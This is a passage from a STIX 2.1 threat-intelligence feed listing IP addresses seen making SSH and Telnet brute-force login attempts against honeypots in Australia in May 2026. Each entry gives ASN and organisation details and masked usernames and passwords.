      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 18678. Organisation(s): INTERNEXA S.A. E.S.P.",
      "id": "indicator--0fda9b99-3822-417d-aa16-2d4eaa821564",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.1.236.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--6365a7f2-56c7-4572-90cb-94740c741e3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.179.94.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RW. ASN(s): 37228. Organisation(s): Olleh-Rwanda-Networks. Usernames observed (masked): u****u, r**t, **, 3**********4, a*******r. Passwords observed (masked): ***, 1****1, 1**4, 1***5, 1******8.",
      "id": "indicator--590bac27-f00c-41c5-b529-b9ee7578631c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.243.0.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--1625692d-b339-43d1-a64e-2a4a0165801e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.193.153.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Passwords observed (masked): 1****1.",
      "id": "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--602a8ee9-292c-49fd-b5f5-32bf3a9e74fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc..",
      "id": "indicator--4b83a80c-a2ca-431b-8338-8f550f4f3426",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '63.250.41.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c3ce7385-b12e-47d9-8a18-23b77b482eab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3af0758f-eccc-40b0-b4d2-048430c3b060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7a672e8f-e376-45bc-85be-bc1cf2ee96f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--33070d68-6fde-4ed1-a39a-d935b374021c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.10.12.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:15:04.000Z",
      "valid_until": "2026-06-02T22:15:03.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 9931. Organisation(s): National Telecom Public Company Limited. Usernames observed (masked): r**t, 3**********4, a***n, p******s, s***m. Passwords observed (masked): 1******i, 1**z, 3***********4, 3**********4, *@$$w0rd.12345.",
      "id": "indicator--2a501af0-57c5-4986-afd2-8fa250a38069",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.154.58.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--d2481155-3242-4d02-a81e-10a8f662e80a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.5.240.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 320. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138000. Organisation(s): PT Antar Fiber Optik. Usernames observed (masked): u****u, r**t, 3**********4, o****e, p******s. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***********8, 1****e.",
      "id": "indicator--d7497fef-39d8-4a61-8f76-cf1f045a6361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.79.187.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 772. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--ae0ee51e-9173-4f32-9813-bf8de657e473",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.97.132.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--e2776268-a69b-493c-89a9-a085b0b49f31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.0.46.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 314. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262514. Organisation(s): BTT TELECOMUNICACOES S.A.. Usernames observed (masked): u****u, r**t, 3**********4, o****e, p******s. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***********8, 1****e.",
      "id": "indicator--7fde3635-1005-4775-8ef3-de5cd9d97f03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.80.65.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--8777b5a4-1460-49f7-872e-0f01672c6889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.179.237.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 49273. Organisation(s): COSCOM Liability Limited Company.",
      "id": "indicator--3d4bdc0a-5904-41ce-8796-f7afbe8f838a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.113.203.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 262220. Organisation(s): HV TELEVISION S.A.S.",
      "id": "indicator--a8869771-63ee-46d9-b536-33423bbd48c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.7.115.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--44bda029-0431-4b8a-8440-8c85ab47a30d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): u****u, p******s, r**t, a***n, p*******r. Passwords observed (masked): **, 1**4, 1***5, 1******8, 1*******n.",
      "id": "indicator--271d58fb-393d-4db8-8a71-6435018ff0a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.188.47.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213873. Organisation(s): MOJI SAS. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--b79a2911-3237-474f-9f68-ba7eacd4fbb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.55.81.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272955. Organisation(s): GRUPO TECNOLIFE, C.A..",
      "id": "indicator--a05031c9-8024-4183-b887-89e23a4809ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.172.58.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--e6941cda-fd56-4baf-ae52-2d844c49dd1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.155.240.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-01T23:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Passwords observed (masked): 1****6, a***n.",
      "id": "indicator--76f3b795-e9e0-4b09-9859-243ba02c55c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T23:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:15:09.000Z",
      "valid_until": "2026-06-02T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--6bf5d3d0-8dc0-4ab9-9175-e92b8c064089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.104.93.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262673. Organisation(s): VERO S.A.",
      "id": "indicator--399636ce-1d03-4457-9538-babffa06a65f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.184.110.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28649. Organisation(s): Desktop Sigmanet Comunicacao Multimidia SA.",
      "id": "indicator--f340eee8-3e4f-4411-99a6-b7b218bcbfd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.249.135.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269984. Organisation(s): CORPORACION MATRIX TV, C.A..",
      "id": "indicator--5bdfdd50-8843-4c47-8f1e-f099097d1c35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.62.164.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--b5c11304-e0de-4780-b3d0-b2020de828f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.83.169.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--40e0308d-8981-4583-9c93-6c071663b6b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2667bfac-465a-4a77-a503-d39229fcd181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c7073241-21a3-4f93-a6ec-0052e76f4898",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:15:11.000Z",
      "valid_until": "2026-06-03T00:15:08.000Z"
    },
    {
      "created": "2026-05-02T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 458. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, u**r, m*****r, *****. Passwords observed (masked): 1****6, 1**4, a***n, 1***5, *****.",
      "id": "indicator--604a29f1-4bb4-4507-a827-e83e83cd8f2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:15:10.000Z",
